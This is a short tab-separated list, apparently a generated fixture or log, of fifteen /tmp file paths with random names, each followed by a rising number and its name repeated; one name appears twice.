/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	851	rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	857	bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	863	mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	869	sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	875	iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	881	fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	887	p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	893	UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	899	xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	905	VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	911	zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	918	bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	924	qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	930	x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	936	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ